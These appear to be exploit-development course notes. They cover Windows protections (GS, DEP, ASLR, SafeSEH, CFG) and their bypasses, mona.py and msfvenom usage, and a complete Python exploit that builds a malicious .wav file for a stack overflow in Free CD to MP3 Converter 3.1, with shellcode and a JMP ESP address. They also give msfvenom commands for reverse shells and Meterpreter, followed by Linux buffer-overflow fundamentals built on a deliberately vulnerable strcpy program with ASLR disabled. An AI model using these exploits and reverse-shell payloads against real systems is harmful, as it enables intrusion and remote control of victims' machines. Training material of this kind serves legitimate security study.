WINDOWS PROTECTION MECHANISMS /GS (Stack Cookie) MSVC Buffer Security Check Random cookie between locals and EBP Checked before ret — abort if corrupt Also reorders locals: buffers below ints Bypass: SEH exploit (cookie not checked) DEP / NX Data Execution Prevention Stack, heap marked non-executable Hardware NX bit (AMD) / XD bit (Intel) OptIn / OptOut / AlwaysOn modes Bypass: ROP chain to VirtualProtect() ASLR Address Space Layout Randomization Randomizes exe, DLL, stack, heap base Requires /DYNAMICBASE and .reloc section Re-randomized at boot (not per-exec) Bypass: non-ASLR module, info leak SafeSEH Safe Structured Exception Handling Registers valid handler addresses at compile time in PE metadata table OS validates handler before calling it Bypass: use POP/POP/RET from non-SafeSEH DLL SEHOP SEH Overwrite Protection Validates SEH chain integrity before dispatching exception (chain must end at ntdll!FinalExceptionHandler) CFG Control Flow Guard Bitmap of valid indirect call targets Validated at runtime before indirect calls Prevents arbitrary code pointer use C:\> winchecksec.exe vuln.exe Dynamic Base (ASLR): false High Entropy VA: false NX Compat (DEP): false Guard CF (CFG): false GS (/GS): false SafeSEH: false // Or in Immunity: !mona modules
Figure 11.1 — Windows Binary Protection Mechanisms

ROP Bypass for DEP

When DEP is enabled but ASLR is off, build a ROP chain that calls VirtualProtect() to mark the stack as executable, then redirect to shellcode:

# !mona rop -cpb "\x00\x0a\x0d"
# Generates rop_chains.txt with gadgets for:
# VirtualProtect(), VirtualAlloc(), WriteProcessMemory(), etc.

# ROP chain structure (conceptual):
rop  = p32(0x7c801ad4)   # POP EBP; RET
rop += p32(0x7c801ad4)   # skip (EBP value for pushad)
rop += p32(0x7c80a064)   # POP EAX; RET
rop += p32(0xfffffdff)   # value (will be negated to 0x201)
rop += p32(0x7c80f473)   # NEG EAX; RET → EAX = 0x201 (PAGE_EXECUTE_RW)
# ... more gadgets to set up VirtualProtect() args ...
rop += p32(0x7c86a01b)   # PUSHAD; RET → calls VirtualProtect()
12

Tools & References

Essential Toolkit

ToolPurpose
Immunity DebuggerPrimary debugger for exploit development. Python scripting via !mona.
mona.pyImmunity plugin: patterns, JMP ESP search, SEH, ROP chain generation, bad chars.
x64dbg / x32dbgModern open-source debugger. Plugin ecosystem. Actively maintained.
WinDbgMicrosoft debugger. Kernel debugging. !exploitable plugin for crash triage.
OllyDbgClassic user-mode debugger. Legacy but still useful for simple tasks.
IDA FreeDisassembler and decompiler. Static analysis of PE binaries.
GhidraNSA's reverse engineering framework. Free, powerful decompiler.
msfvenomPayload generator. Shellcode with encoding and bad char avoidance.
ROPgadgetFind ROP gadgets in PE binaries: ROPgadget --binary vuln.exe
winchecksecWindows equivalent of checksec. Shows protections on PE files.
Process MonitorSysinternals. Monitor file/registry/network access by processes.
Process ExplorerSysinternals. Detailed process inspection, loaded DLLs, handles.

Key mona.py Commands

:: Pattern generation and offset finding
!mona pattern_create 500
!mona pattern_offset 0x41326341
!mona findmsp                    // auto-find pattern in all registers

:: Bad character identification
!mona bytearray -cpb "\x00"      // generate byte array minus \x00
!mona compare -f bytearray.bin -a <addr>

:: JMP ESP / CALL ESP gadgets
!mona jmp -r esp -cpb "\x00\x0a\x0d"
!mona jmp -r esp -m "msvcrt"     // search specific module

:: SEH exploitation
!mona seh -cpb "\x00\x0a\x0d"    // POP POP RET gadgets
!mona nosafeseh                  // list non-SafeSEH modules

:: ROP chain generation
!mona rop -cpb "\x00\x0a\x0d"    // auto-generate VirtualProtect chain
!mona rop -m "msvcrt,kernel32"   // from specific modules

:: Egghunter
!mona egg -t w00t                // generate egghunter for tag "w00t"

:: Module information
!mona modules                    // list all loaded modules + protections

msfvenom Common Payloads

# Calc.exe (PoC)
msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d' -f python

# Reverse shell (TCP)
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 \
         -b '\x00\x0a\x0d' -f python EXITFUNC=thread

# Meterpreter reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=443 \
         -b '\x00\x0a\x0d' -f python EXITFUNC=thread

# Staged vs stageless: shell_reverse_tcp (stageless, ~350 bytes)
#   vs shell/reverse_tcp (staged, ~80 bytes, needs handler)

Linux vs Windows Exploit Comparison

AspectLinux x86Windows x86
EIP redirectNOP sled + guessed addrJMP ESP from DLL
Shellcodeint 0x80 syscallsPEB walk + Win32 API
Extra targetSEH handler overwrite
Small bufferEgghunting
Stack cookie-fstack-protector (GCC)/GS (MSVC)
DEP bypassret2libc → system()ROP → VirtualProtect()
DebuggerGDB + GEF/PEDAImmunity + mona.py
Bad chars toolManual / pwntools!mona bytearray/compare

Further Reading

  • The Shellcoder's Handbook (2nd ed.) — Anley, Heasman, Lindner, Richarte
  • Buffer Overflow Attacks — Jason Deckard
  • Corelan Exploit Writing Tutorials (corelan.be) — the definitive Windows exploit dev series
  • Offensive Security EXP-301 (OSED) — Windows User-Mode Exploit Development
  • VulnServer — practice target for Windows exploit development
  • dostackbufferoverflowgood — excellent OSCP-style walkthrough
Part V
Practical Exercise — Free CD to MP3 Converter
13

Jumping to Shellcode

The final step of exploiting the Free CD to MP3 Converter 3.1 stack overflow. We have already: fuzzed parameters, controlled EIP, identified bad characters, and found return instructions (JMP ESP gadgets). Now we generate shellcode and deliver the payload.

Shellcode Generation

We use msfvenom to generate Windows shellcode. First, list available payloads:

msfvenom -l payloads | grep windows

windows/exec               Execute an arbitrary command
windows/shell_reverse_tcp   Connect back to attacker and spawn a command shell

Generate a calc.exe proof-of-concept payload, excluding bad characters:

msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00'
Note: The -b flag eliminates bad characters from the shellcode. Even if the shellcode had no bad characters it should still run, though the final shellcode is usually longer if we specify bad characters.

Return Addresses Found

TypeAddress
JMP ESP00419D0B
JMP ESP00463B91
JMP ESP00477A8B
JMP ESP0047E58B
JMP ESP004979F4
PUSH ESP; RET0047D4F5
PUSH ESP; RET00483D0E

NOP Sled

The stack alignment may shift ESP slightly by the time JMP ESP executes. A 32-byte NOP sled (\x90) before the shellcode absorbs this shift — the CPU slides through the NOPs and hits the shellcode cleanly.

The Final Exploit

from struct import pack

def exploit():
    # msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00'
    buf  = b""
    buf += b"\xd9\xec\xba\x3d\xcb\x9e\x28\xd9\x74\x24\xf4\x58\x29"
    # ...SNIP... (paste the full shellcode here)
    buf += b"\xfd\x2c\x39\x51\x60\xbf\xa1\xb8\x07\x47\x43\xc5"

    offset = 4112
    buffer = b"A" * offset
    eip = pack('<L', 0x00419D0B)  # JMP ESP
    nop = b"\x90" * 32
    payload = buffer + eip + nop + buf

    with open('exploit.wav', 'wb') as f:
        f.write(payload)

exploit()
Windows Calculator opened by the shellcode exploit
Result: the program crashed, but the shellcode ran and opened calc.exe.

Gaining Code Execution

To escalate privileges locally, change the shellcode to spawn cmd.exe:

msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'

For a remote reverse shell:

msfvenom -p 'windows/shell_reverse_tcp' LHOST=YOUR_IP LPORT=443 -f 'python' -b '\x00'
cmd.exe running as Administrator after exploitation
cmd.exe spawned with Administrator privileges — matching the user who ran the vulnerable application.
NOP sled before shellcode: Encoded shellcode (e.g., shikata_ga_nai) uses a decoder stub that needs a few bytes of working space. A 32-byte NOP sled gives the decoder room to operate. Without it, the decoder may corrupt its own instructions.
← Back

Stack-Based Buffer Overflows on Linux x86

Full notes — sections 1 to 13. Code and explanations only.

1. Buffer Overflows Overview

_Section group: Introduction_


Buffer overflows have become less common in todays world as modern compilers have built in memory-protections that make it difficult for memory corruption bugs to occur accidentally. That being said languages like C are not going to go away anytime soon and they are predominate in embedded software and IOT (Internet of Things). One of my favorite somewhat recent Buffer Overflows was CVE-2021-3156, which was a Heap-Based Buffer Overflow in sudo.

These attacks aren't limited to binaries, a large number of buffer overflows occur in web applications, especially embedded devices which utilize custom webservers. A good example is CVE-2017-12542 with HP iLO (Integrated Lights Out) Management devices. Just sending 29 characters in an HTTP Header parameter caused a buffer overflow which bypassed login. I like this example because there is no need for an actual payload that you'll read more about later since the system "failed open" upon reaching an error.

In short, buffer overflows are caused by incorrect program code, which cannot process too large amounts of data correctly by the CPU and can, therefore, manipulate the CPU's processing. Suppose too much data is written to a reserved memory buffer or stack that is not limited, for example. In that case, specific registers will be overwritten, which may allow code to be executed.

A buffer overflow can cause the program to crash, corrupt data, or harm data structures in the program's runtime. The last of these can overwrite the specific program's return address with arbitrary data, allowing an attacker to execute commands with the privileges of the process vulnerable to the buffer overflow by passing arbitrary machine code. This code is usually intended to give us more convenient access to the system to use it for our own purposes. Such buffer overflows in common servers, and Internet worms also exploit client software.

A particularly popular target on Unix systems is root access, which gives us all permissions to access the system. However, as is often misunderstood, this does not mean that a buffer overflow that "only" leads to the privileges of a standard user is harmless. Getting the coveted root access is often much easier if you already have user privileges.

Buffer overflows, in addition to programming carelessness, are mainly made possible by computer systems based on the Von-Neumann architecture.

The most significant cause of buffer overflows is the use of programming languages that do not automatically monitor limits of memory buffer or stack to prevent (stack-based) buffer overflow. These include the C and C++ languages, which emphasize performance and do not require monitoring.

For this reason, developers are forced to define such areas in the programming code themselves, which increases vulnerability many times over. These areas are often left undefined for testing purposes or due to carelessness. Even if they were used for testing purposes, they might have been overlooked at the end of the development process.

However, not every application environment will likely exhibit a buffer overflow condition. For example, a stand-alone Java application is least likely compared to others because of how Java handles memory management. Java uses a "garbage collection" technique to manage memory, which helps prevent buffer overflow conditions.

2. Exploit Development Introduction

_Section group: Introduction_


Exploit development comes in the Exploitation Phase after specific software and even its versions have been identified. The Exploitation Phase goal is to use the information found and its analysis to exploit the potential ways to gain interaction and/or access to the target system.

Developing our own exploits can be very complex and requires a deep understanding of CPU operations and the software's functions that serve as our target. Many exploits are written in different programming languages. One of the most popular programming languages for this is Python because it is easy to understand and easy to write with. In this module, we will focus on basic techniques for exploit development, as a fundamental understanding must be developed before we can deal with the various security mechanisms of memory.

Before we run any exploits, we need to understand what an exploit is. An exploit is a code that causes the service to perform an operation we want by abusing the found vulnerability. Such codes often serve as proof-of-concept (POC) in our reports.

There are two types of exploits. One is unknown (0-day exploits), and the other is known (N-day exploits).


0-Day Exploits

An 0-day exploit is a code that exploits a newly identified vulnerability in a specific application. The vulnerability does not need to be public in the application. The danger with such exploits is that if the developers of this application are not informed about the vulnerability, they will likely persist with new updates.


N-Day Exploits

If the vulnerability is published and informs the developers, they will still need time to write a fix to prevent them as soon as possible. When they are published, they talk about N-day exploits, counting the days between the publication of the exploit and an attack on the unpatched systems.

Also, these exploits can be divided into four different categories:

  • Local
  • Remote
  • DoS
  • WebApp

Local Exploits

Local exploits / Privilege Escalation exploits can be executed when opening a file. However, the prerequisite for this is that the local software contains a security vulnerability. Often a local exploit (e.g., in a PDF document or as a macro in a Word or Excel file) first tries to exploit security holes in the program with which the file was imported to achieve a higher privilege level and thus load and execute malicious code / shellcode in the operating system. The actual action that the exploit performs is called payload.


Remote Exploits

The remote exploits very often exploit the buffer overflow vulnerability to get the payload running on the system. This type of exploits differs from local exploits because they can be executed over the network to perform the desired operation.


DoS Exploits

DoS (Denial of Service) exploits are codes that prevent other systems from functioning, i.e., cause a crash of individual software or the entire system.


WebApp Exploits

A Web application exploit uses a vulnerability in such software. Such vulnerabilities can, for example, allow a command injection on the application itself or the underlying database.

3. CPU Architecture

CPU Architecture diagram
Von Neumann architecture: CPU (ALU + CU + Accumulator), I/O Bus, Memory (RAM)

_Section group: Introduction_


The architecture of the Von-Neumann was developed by the Hungarian mathematician John von Neumann, and it consists of four functional units:

  • Memory
  • Control Unit
  • Arithmetical Logical Unit
  • Input/Output Unit

In the Von-Neumann architecture, the most important units, the Arithmetical Logical Unit (ALU) and Control Unit (CU), are combined in the actual Central Processing Unit (CPU). The CPU is responsible for executing the instructions and for flow control. The instructions are executed one after the other, step by step. The commands and data are fetched from memory by the CU.

The connection between processor, memory, and input/output unit is called a bus system, which is not mentioned in the original Von-Neumann architecture but plays an essential role in practice. In the Von-Neumann architecture, all instructions and data are transferred via the bus system.

Von-Neumann Architecture

🖼️ Figure: Diagram of computer architecture showing CPU, ALU, control unit, memory, input/output devices, and data flow.

Memory

The memory can be divided into two different categories:

  • Primary Memory
  • Secondary Memory

Primary Memory

The primary memory is the Cache and Random Access Memory (RAM). If we think about it logically, memory is nothing more than a place to store information. We can think of it as leaving something at one of our friends to pick it up again later. But for this, it is necessary to know the friend's address to pick up what we have left behind. It is the same as RAM. RAM describes a memory type whose memory allocations can be accessed directly and randomly by their memory addresses.

The cache is integrated into the processor and serves as a buffer, which in the best case, ensures that the processor is always fed with data and program code. Before the program code and data enter the processor for processing, the RAM serves as data storage. The size of the RAM determines the amount of data that can be stored for the processor. However, when the primary memory loses power, all stored contents are lost.


Secondary Memory

The secondary memory is the external data storage, such as HDD/SSD, Flash Drives and CD/DVD-ROMs of a computer, which is not directly accessed by the CPU, but via the I/O interfaces. In other words, it is a mass storage device. It is used to permanently store data that does not need to be processed at the moment. Compared to primary memory, it has a higher storage capacity, can store data permanently even without a power supply, and works much slower.


Control Unit

The Control Unit (CU) is responsible for the correct interworking of the processor's individual parts. An internal bus connection is used for the tasks of the CU. The tasks of the CU can be summarised as follows:

  • Reading data from the RAM
  • Saving data in RAM
  • Provide, decode and execute an instruction
  • Processing the inputs from peripheral devices
  • Processing of outputs to peripheral devices
  • Interrupt control
  • Monitoring of the entire system

The CU contains the Instruction Register (IR), which contains all instructions that the processor decodes and executes accordingly. The instruction decoder translates the instructions and passes them to the execution unit, which then executes the instruction. The execution unit transfers the data to the ALU for calculation and receives the result back from there. The data used during execution is temporarily stored in registers.


Central Processing Unit

The Central Processing Unit (CPU) is the functional unit in a computer that provides the actual processing power. It is responsible for processing information and controlling the processing operations. To do this, the CPU fetches commands from memory one after the other and initiates data processing.

The processor is also often referred to as a Microprocessor when placed in a single electronic circuit, as in our PCs.

Each CPU has an architecture on which it was built. The best-known CPU architectures are:

  • x86/i386 - (AMD & Intel)
  • x86-64/amd64 - (Microsoft & Sun)
  • ARM - (Acorn)

Each of these CPU architectures is built in a specific way, called Instruction Set Architecture (ISA), which the CPU uses to execute its processes. ISA, therefore, describes the behavior of a CPU concerning the instruction set used. The instruction sets are defined so that they are independent of a specific implementation. Above all, ISA gives us the possibility to understand the unified behavior of machine code in assembly language concerning registers, data types, etc.

There are four different types of ISA:

  • CISC - Complex Instruction Set Computing
  • RISC - Reduced Instruction Set Computing
  • VLIW - Very Long Instruction Word
  • EPIC - Explicitly Parallel Instruction Computing

RISC

RISC stands for Reduced Instruction Set Computer, a design of microprocessors architecture that aimed to simplify the complexity of the instruction set for assembly programming to one clock cycle. This leads to higher clock frequencies of the CPU but enables a faster execution because smaller instruction sets are used. By an instruction set, we mean the set of machine instructions that a given processor can execute. We can find RISC in most smartphones today, for example. Nevertheless, pretty much all CPUs have a portion of RISC in them. RISC architectures have a fixed length of instructions defined as 32-bit and 64-bit.


CISC

In contrast to RISC, the Complex Instruction Set Computer (CISC) is a processor architecture with an extensive and complex instruction set. Due to the historical development of computers and their memory, recurring sequences of instructions were combined into complicated instructions in second-generation computers. The addressing in CISC architectures does not require 32-bit or 64-bit in contrast to RISC but can be done with an 8-bit mode.


Instruction Cycle

The instruction set describes the totality of the machine instructions of a processor. The scope of the instruction set varies considerably depending on the processor type. Each CPU may have different instruction cycles and instruction sets, but they are all similar in structure, which we can summarize as follows:

InstructionDescription
1. FETCHThe next machine instruction address is read from the Instruction Address Register (IAR). It is then loaded from the Cache or RAM into the Instruction Register (IR).
2. DECODEThe instruction decoder converts the instructions and starts the necessary circuits to execute the instruction.
3. FETCH OPERANDSIf further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers.
4. EXECUTEThe instruction is executed. This can be, for example, operations in the ALU, a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions.
5. UPDATE INSTRUCTION POINTERIf no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction.

4. Stack-Based Buffer Overflow

Linux process memory layout
Process memory: .text, .data, .bss, Heap → ← Stack, 0x00000000 to 0xFFFFFFFF
Buffer overflow overwriting EBP and EIP
Strcpy() overflow: data writes past the buffer through EBP into EIP

_Section group: Fundamentals_


Memory exceptions are the operating system's reaction to an error in existing software or during the execution of these. This is responsible for most of the security vulnerabilities in program flows in the last decade. Programming errors often occur, leading to buffer overflows due to inattention when programming with low abstract languages such as C or C++.

These languages are compiled almost directly to machine code and, in contrast to highly abstracted languages such as Java or Python, run through little to no control structure operating system. Buffer overflows are errors that occur when data that is too large to fit into a buffer of the operating system's memory overflows this buffer. As a result of this mishandling, the memory of other functions of the executed program is overwritten, potentially creating a security vulnerability.

Such a program (binary file), is a general executable file stored on a data storage medium. There are several different file formats for such executable binary files. For example, the Portable Executable Format (PE) is used on Microsoft platforms.

Another format for executable files is the Executable and Linking Format (ELF), supported by almost all modern UNIX variants. If the linker loads such an executable binary file and the program will be executed, the corresponding program code will be loaded into the main memory and then executed by the CPU.

Programs store data and instructions in memory during initialization and execution. These are data that are displayed in the executed software or entered by the user. Especially for expected user input, a buffer must be created beforehand by saving the input.

The instructions are used to model the program flow. Among other things, return addresses are stored in the memory, which refers to other memory addresses and thus define the program's control flow. If such a return address is deliberately overwritten by using a buffer overflow, an attacker can manipulate the program flow by having the return address refer to another function or subroutine. Also, it would be possible to jump back to a code previously introduced by the user input.

To understand how it works on the technical level, we need to become familiar with how:

  • the memory is divided and used
  • the debugger displays and names the individual instructions
  • the debugger can be used to detect such vulnerabilities
  • we can manipulate the memory

Another critical point is that the exploits usually only work for a specific version of the software and operating system. Therefore, we have to rebuild and reconfigure the target system to bring it to the same state. After that, the program we are investigating is installed and analyzed. Most of the time, we will only have one attempt to exploit the program if we miss the opportunity to restart it with elevated privileges.


The Memory

When the program is called, the sections are mapped to the segments in the process, and the segments are loaded into memory as described by the ELF file.

Buffer

🖼️ Figure: Memory layout diagram showing sections: .text, .data, .bss, Heap, empty space, and Stack, with memory addresses from 0x00000000 to 0xFFFFFFFF.

.text

The .text section contains the actual assembler instructions of the program. This area can be read-only to prevent the process from accidentally modifying its instructions. Any attempt to write to this area will inevitably result in a segmentation fault.


.data

The .data section contains global and static variables that are explicitly initialized by the program.


.bss

Several compilers and linkers use the .bss section as part of the data segment, which contains statically allocated variables represented exclusively by 0 bits.


The Heap

Heap memory is allocated from this area. This area starts at the end of the ".bss" segment and grows to the higher memory addresses.


The Stack

Stack memory is a Last-In-First-Out data structure in which the return addresses, parameters, and, depending on the compiler options, frame pointers are stored. C/C++ local variables are stored here, and you can even copy code to the stack. The Stack is a defined area in RAM. The linker reserves this area and usually places the stack in RAM's lower area above the global and static variables. The contents are accessed via the stack pointer, set to the upper end of the stack during initialization. During execution, the allocated part of the stack grows down to the lower memory addresses.

Modern memory protections (DEP/ASLR) would prevent the damage caused by buffer overflows. DEP (Data Execution Prevention), marked regions of memory "Read-Only". The read-only memory region is where some user-input is stored (Example: The Stack), so the idea behind DEP was to prevent users from uploading shellcode to memory and then setting the instruction pointer to the shellcode. Hackers started utilizing ROP (Return Oriented Programming) to get around this, as it allowed them to upload the shellcode to an executable space and use existing calls to execute it. With ROP, the attacker needs to know the memory addresses where things are stored, so the defense against it was to implement ASLR (Address Space Layout Randomization) which randomizes where everything is stored making ROP more difficult.

Users can get around ASLR by leaking memory addresses, but this makes exploits less reliable and sometimes impossible. For example the "Freefloat FTP Server" is trivial to exploit on Windows XP (before DEP/ASLR). However, if the application is ran on a modern Windows operating system, the buffer overflow exists but it is currently non-trivial to exploit due to DEP/ASLR (as there's no known way to leak memory addresses.)


Vulnerable Program

We are now writing a simple C-program called bow.c with a vulnerable function called strcpy().

Bow.c

C
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bowfunc(char *string) {

	char buffer[1024];
	strcpy(buffer, string);
	return 1;
}

int main(int argc, char *argv[]) {

	bowfunc(argv[1]);
	printf("Done.\n");
	return 1;
}

Modern operating systems have built-in protections against such vulnerabilities, like Address Space Layout Randomization (ASLR). For the purpose of learning the basics of buffer overflow exploitation, we are going to disable this memory protection features:

Disable ASLR

bash
student@nix-bow:~$ sudo su
root@nix-bow:/home/student# echo 0 > /proc/sys/kernel/randomize_va_space
root@nix-bow:/home/student# cat /proc/sys/kernel/randomize_va_space

0

Next, we compile the C code into a 32bit ELF binary.

Compilation

bash
student@nix-bow:~$ sudo apt install gcc-multilib
student@nix-bow:~$ gcc bow.c -o bow32 -fno-stack-protector -z execstack -m32
student@nix-bow:~$ file bow32 | tr "," "\n"

bow: ELF 32-bit LSB shared object
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 3.2.0
 BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
 not stripped

Vulnerable C Functions

There are several vulnerable functions in the C programming language that do not independently protect the memory. Here are some of the functions:

  • strcpy
  • gets
  • sprintf
  • scanf
  • strcat
  • ...

GDB Introductions

GDB, or the GNU Debugger, is the standard debugger of Linux systems developed by the GNU Project. It has been ported to many systems and supports the programming languages C, C++, Objective-C, FORTRAN, Java, and many more.

GDB provides us with the usual traceability features like breakpoints or stack trace output and allows us to intervene in the execution of programs. It also allows us, for example, to manipulate the variables of the application or to call functions independently of the normal execution of the program.

We use GNU Debugger (GDB) to view the created binary on the assembler level. Once we have executed the binary with GDB, we can disassemble the program's main function.

GDB - AT&T Syntax

bash
student@nix-bow:~$ gdb -q bow32

Reading symbols from bow...(no debugging symbols found)...done.
(gdb) disassemble main

Dump of assembler code for function main:
   0x00000582 <+0>: 	lea    0x4(%esp),%ecx
   0x00000586 <+4>: 	and    $0xfffffff0,%esp
   0x00000589 <+7>: 	pushl  -0x4(%ecx)
   0x0000058c <+10>:	push   %ebp
   0x0000058d <+11>:	mov    %esp,%ebp
   0x0000058f <+13>:	push   %ebx
   0x00000590 <+14>:	push   %ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    $0x1a3e,%ebx
   0x0000059c <+26>:	mov    %ecx,%eax
   0x0000059e <+28>:	mov    0x4(%eax),%eax
   0x000005a1 <+31>:	add    $0x4,%eax
   0x000005a4 <+34>:	mov    (%eax),%eax
   0x000005a6 <+36>:	sub    $0xc,%esp
   0x000005a9 <+39>:	push   %eax
   0x000005aa <+40>:	call   0x54d <bowfunc>
   0x000005af <+45>:	add    $0x10,%esp
   0x000005b2 <+48>:	sub    $0xc,%esp
   0x000005b5 <+51>:	lea    -0x1974(%ebx),%eax
   0x000005bb <+57>:	push   %eax
   0x000005bc <+58>:	call   0x3e0 <puts@plt>
   0x000005c1 <+63>:	add    $0x10,%esp
   0x000005c4 <+66>:	mov    $0x1,%eax
   0x000005c9 <+71>:	lea    -0x8(%ebp),%esp
   0x000005cc <+74>:	pop    %ecx
   0x000005cd <+75>:	pop    %ebx
   0x000005ce <+76>:	pop    %ebp
   0x000005cf <+77>:	lea    -0x4(%ecx),%esp
   0x000005d2 <+80>:	ret    
End of assembler dump.

In the first column, the hexadecimal numbers represent the memory addresses. The numbers with the plus sign (+) show the address jumps in memory in bytes, used for the respective instruction. Next, we can see the assembler instructions (mnemonics) with registers and their operation suffixes. The current syntax is AT&T, which we can recognize by the % and $ characters.

Memory AddressAddress JumpsAssembler InstructionOperation Suffixes
0x00000582<+0>:lea0x4(%esp),%ecx
0x00000586<+4>:and$0xfffffff0,%esp
............

The Intel syntax makes the disassembled representation easier to read, and we can change the syntax by entering the following commands in GDB:

GDB - Change the Syntax to Intel

bash
(gdb) set disassembly-flavor intel
(gdb) disassemble main

Dump of assembler code for function main:
   0x00000582 <+0>:	    lea    ecx,[esp+0x4]
   0x00000586 <+4>:	    and    esp,0xfffffff0
   0x00000589 <+7>:	    push   DWORD PTR [ecx-0x4]
   0x0000058c <+10>:	push   ebp
   0x0000058d <+11>:	mov    ebp,esp
   0x0000058f <+13>:	push   ebx
   0x00000590 <+14>:	push   ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    ebx,0x1a3e
   0x0000059c <+26>:	mov    eax,ecx
   0x0000059e <+28>:	mov    eax,DWORD PTR [eax+0x4]
<SNIP>

We don't have to change the display mode manually continually. We can also set this as the default syntax with the following command.

Change GDB Syntax

bash
student@nix-bow:~$ echo 'set disassembly-flavor intel' > ~/.gdbinit

If we now rerun GDB and disassemble the main function, we see the Intel syntax.

GDB - Intel Syntax

bash
student@nix-bow:~$ gdb ./bow32 -q

Reading symbols from bow...(no debugging symbols found)...done.
(gdb) disassemble main

Dump of assembler code for function main:
   0x00000582 <+0>: 	lea    ecx,[esp+0x4]
   0x00000586 <+4>: 	and    esp,0xfffffff0
   0x00000589 <+7>: 	push   DWORD PTR [ecx-0x4]
   0x0000058c <+10>:	push   ebp
   0x0000058d <+11>:	mov    ebp,esp
   0x0000058f <+13>:	push   ebx
   0x00000590 <+14>:	push   ecx
   0x00000591 <+15>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000596 <+20>:	add    ebx,0x1a3e
   0x0000059c <+26>:	mov    eax,ecx
   0x0000059e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x000005a1 <+31>:	add    eax,0x4
   0x000005a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x000005a6 <+36>:	sub    esp,0xc
   0x000005a9 <+39>:	push   eax
   0x000005aa <+40>:	call   0x54d <bowfunc>
   0x000005af <+45>:	add    esp,0x10
   0x000005b2 <+48>:	sub    esp,0xc
   0x000005b5 <+51>:	lea    eax,[ebx-0x1974]
   0x000005bb <+57>:	push   eax
   0x000005bc <+58>:	call   0x3e0 <puts@plt>
   0x000005c1 <+63>:	add    esp,0x10
   0x000005c4 <+66>:	mov    eax,0x1
   0x000005c9 <+71>:	lea    esp,[ebp-0x8]
   0x000005cc <+74>:	pop    ecx
   0x000005cd <+75>:	pop    ebx
   0x000005ce <+76>:	pop    ebp
   0x000005cf <+77>:	lea    esp,[ecx-0x4]
   0x000005d2 <+80>:	ret    
End of assembler dump.

The difference between the AT&T and Intel syntax is not only in the presentation of the instructions with their symbols but also in the order and direction in which the instructions are executed and read.

Let us take the following instruction as an example:

bash
   0x0000058d <+11>:	mov    ebp,esp

With the Intel syntax, we have the following order for the instruction from the example:

Intel Syntax

InstructionDestinationSource
movebpesp

AT&T Syntax

InstructionSourceDestination
mov%esp%ebp

5. CPU Registers

_Section group: Fundamentals_


Registers are the essential components of a CPU. Almost all registers offer a small amount of storage space where data can be temporarily stored. However, some of them have a particular function.

These registers will be divided into General registers, Control registers, and Segment registers. The most critical registers we need are the General registers. In these, there are further subdivisions into Data registers, Pointer registers, and Index registers.

Data registers

32-bit Register64-bit RegisterDescription
EAXRAXAccumulator is used in input/output and for arithmetic operations
EBXRBXBase is used in indexed addressing
ECXRCXCounter is used to rotate instructions and count loops
EDXRDXData is used for I/O and in arithmetic operations for multiply and divide operations involving large values

Pointer registers

32-bit Register64-bit RegisterDescription
EIPRIPInstruction Pointer stores the offset address of the next instruction to be executed
ESPRSPStack Pointer points to the top of the stack
EBPRBPBase Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack

Stack Frames

Since the stack starts with a high address and grows down to low memory addresses as values are added, the Base Pointer points to the beginning (base) of the stack in contrast to the Stack Pointer, which points to the top of the stack.

As the stack grows, it is logically divided into regions called `Stack

Frames, which allocate the required memory in the stack for the corresponding function. A stack frame defines a frame of data with the beginning (EBP) and the end (ESP`) that is pushed onto the stack when a function is called.

Since the stack memory is built on a Last-In-First-Out (LIFO) data structure, the first step is to store the previous EBP position on the stack, which can be restored after the function completes. If we now look at the bowfunc function, it looks like following in GDB:

bash
(gdb) disas bowfunc 

Dump of assembler code for function bowfunc:
   0x0000054d <+0>:	    push   ebp       # <---- 1. Stores previous EBP
   0x0000054e <+1>:	    mov    ebp,esp
   0x00000550 <+3>:	    push   ebx
   0x00000551 <+4>:	    sub    esp,0x404
   <...SNIP...>
   0x00000580 <+51>:	leave  
   0x00000581 <+52>:	ret    

The EBP in the stack frame is set first when a function is called and contains the EBP of the previous stack frame. Next, the value of the ESP is copied to the EBP, creating a new stack frame.

bash
(gdb) disas bowfunc 

Dump of assembler code for function bowfunc:
   0x0000054d <+0>:	    push   ebp       # <---- 1. Stores previous EBP
   0x0000054e <+1>:	    mov    ebp,esp   # <---- 2. Creates new Stack Frame
   0x00000550 <+3>:	    push   ebx
   0x00000551 <+4>:	    sub    esp,0x404 
   <...SNIP...>
   0x00000580 <+51>:	leave  
   0x00000581 <+52>:	ret    

Then some space is created in the stack, moving the ESP to the top for the operations and variables needed and processed.

Prologue

bash
(gdb) disas bowfunc 

Dump of assembler code for function bowfunc:
   0x0000054d <+0>:	    push   ebp       # <---- 1. Stores previous EBP
   0x0000054e <+1>:	    mov    ebp,esp   # <---- 2. Creates new Stack Frame
   0x00000550 <+3>:	    push   ebx
   0x00000551 <+4>:	    sub    esp,0x404 # <---- 3. Moves ESP to the top
   <...SNIP...>
   0x00000580 <+51>:	leave  
   0x00000581 <+52>:	ret    

These three instructions represent the so-called Prologue.

For getting out of the stack frame, the opposite is done, the Epilogue. During the epilogue, the ESP is replaced by the current EBP, and its value is reset to the value it had before in the prologue. The epilogue is relatively short, and apart from other possibilities to perform it, in our example, it is performed with two instructions:

Epilogue

bash
(gdb) disas bowfunc 

Dump of assembler code for function bowfunc:
   0x0000054d <+0>:	    push   ebp       
   0x0000054e <+1>:	    mov    ebp,esp   
   0x00000550 <+3>:	    push   ebx
   0x00000551 <+4>:	    sub    esp,0x404 
   <...SNIP...>
